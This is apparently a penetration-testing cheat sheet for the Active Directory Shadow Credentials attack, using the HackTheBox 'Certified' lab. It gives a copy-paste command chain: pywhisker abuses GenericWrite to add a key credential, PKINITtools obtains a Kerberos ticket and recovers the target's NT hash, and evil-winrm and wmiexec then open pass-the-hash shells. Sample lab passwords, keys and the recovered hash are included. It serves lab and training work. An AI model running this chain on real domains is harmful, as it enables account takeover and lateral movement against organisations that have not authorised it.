Shadow Credentials — pywhisker + PKINITtools

Ctrl+F: pywhisker · PKINITtools · gettgtpkinit · getnthash · shadow credentials · GenericWrite · AS-REP encryption key

External: Internal All The Things — Shadow Credentials

Attack: Write to target user’s msDS-KeyCredentialLink (Shadow Credentials) → authenticate with generated PFX certPKINIT TGT → recover NTLM hash.

Typical path: BloodHound shows GenericWrite on user → pywhisker → PKINITtools.

Permission context → GenericWrite · AD Permissions

Alternative on Kali: certipy-ad shadow autoCertipy & Certify > 📌 Shadow Credentials (certipy-ad)


📌 0) Prerequisites

NeedCheck
GenericWrite (or equivalent) on target userBloodHound · Bloodhound + Sharphound
Domain creds for attacker usere.g. cracked Kerberoast
Time synced to DCTime Sync-Clock Skew
PKINITtools on KaliSee install below

📌 1) Install PKINITtools (Kali)

Repo: dirkjanm/PKINITtools

git clone https://github.com/dirkjanm/PKINITtools.git
cd PKINITtools
pip3 install -r requirements.txt

pywhisker:

git clone https://github.com/ShutdownRepo/pywhisker.git
# Run from pywhisker dir or use full path — see [pywhisker](https://github.com/ShutdownRepo/pywhisker)

📌 2) Add shadow credential — pywhisker

Abuse GenericWrite on management_svc (example — Certified HTB):

python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" \
    --target "management_svc" --action "add"

Verbose (shows exact PKINIT command):

python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" \
    --target "management_svc" --action "add" -v

Output you need:

[+] Saved PFX (#PKCS12) certificate & key at path: 2Zo5d8IM.pfx
[*] Must be used with password: 8GDGBl5KeKO4HayyuJlG

Save FILENAME.pfx and pfx-pass — one-time, pywhisker prints them.

Remove when done (optional cleanup):

python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" \
    --target "management_svc" --action "remove" --device-id DEVICE_ID_FROM_ADD

📌 3) Get TGT with certificate — gettgtpkinit.py

python3 PKINITtools/gettgtpkinit.py -cert-pfx 2Zo5d8IM.pfx \
    certified.htb/management_svc \
    -pfx-pass '8GDGBl5KeKO4HayyuJlG' \
    management_svc.ccache
ArgumentValue
-cert-pfx.pfx from pywhisker
domain/userTarget principal
-pfx-passPassword pywhisker printed
Last argOutput .ccache filename

CRITICAL — capture the AS-REP encryption key

gettgtpkinit.py prints a key you must save for the next step:

INFO     AS-REP encryption key (you might need this later):
INFO     7a9a1658cebb4ede34127b7d9003ff308109b6bdc80c70589decac9e60ee9c6b
INFO     Saved TGT to file

This key is NOT the PFX password. It is NOT the AES key from LSASS. It is the session key from this specific PKINIT exchange — copy it exactly from this run’s output for getnthash.py.


📌 4) Export ticket + verify

export KRB5CCNAME=management_svc.ccache
# Or: export KRB5CCNAME=$(pwd)/management_svc.ccache
 
klist

Expected: default principal management_svc@CERTIFIED.HTB, service krbtgt/CERTIFIED.HTB.


📌 5) Recover NTLM hash — getnthash.py

Must use the AS-REP encryption key from step 3 (same run):

export KRB5CCNAME=management_svc.ccache
 
python3 PKINITtools/getnthash.py -key \
    7a9a1658cebb4ede34127b7d9003ff308109b6bdc80c70589decac9e60ee9c6b \
    certified.htb/management_svc
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584
FlagValue
-keyAS-REP encryption key from gettgtpkinit.py output (step 3)
PrincipalSame domain/user as TGT

Requires: KRB5CCNAME still set to the same .ccache.


📌 6) Use the hash / ticket

# Pass-the-Hash shell
evil-winrm -i 10.129.231.186 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
 
# Or keep using the ticket
export KRB5CCNAME=management_svc.ccache
impacket-wmiexec certified.htb/management_svc@TARGET -k -no-pass -dc-ip DC_IP

Use Kerberos Ticket · Kerberos Setup - krb5.conf · Credential Graph


📌 Full copy-paste chain

# 1) Shadow cred
python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" \
    --target "management_svc" --action "add" -v
# → note: 2Zo5d8IM.pfx + password 8GDGBl5KeKO4HayyuJlG
 
# 2) PKINIT TGT — SAVE the AS-REP encryption key from output!
python3 PKINITtools/gettgtpkinit.py -cert-pfx 2Zo5d8IM.pfx \
    certified.htb/management_svc \
    -pfx-pass '8GDGBl5KeKO4HayyuJlG' \
    management_svc.ccache
# → COPY key: 7a9a1658cebb4ede34127b7d9003ff308109b6bdc80c70589decac9e60ee9c6b
 
# 3) NT hash — same key from step 2
export KRB5CCNAME=management_svc.ccache
python3 PKINITtools/getnthash.py -key \
    7a9a1658cebb4ede34127b7d9003ff308109b6bdc80c70589decac9e60ee9c6b \
    certified.htb/management_svc
 
# 4) Shell
evil-winrm -i DC_IP -u management_svc -H RECOVERED_NTHASH

📌 Troubleshooting

IssueFix
getnthash failsWrong -key — must be this run’s AS-REP key from gettgtpkinit, not PFX pass
KRB_AP_ERR_SKEWTime Sync-Clock Skew
KDC_ERR_PREAUTH_FAILEDRe-run gettgtpkinit — key changes each run
No GenericWriteBloodHound path — different ACL abuse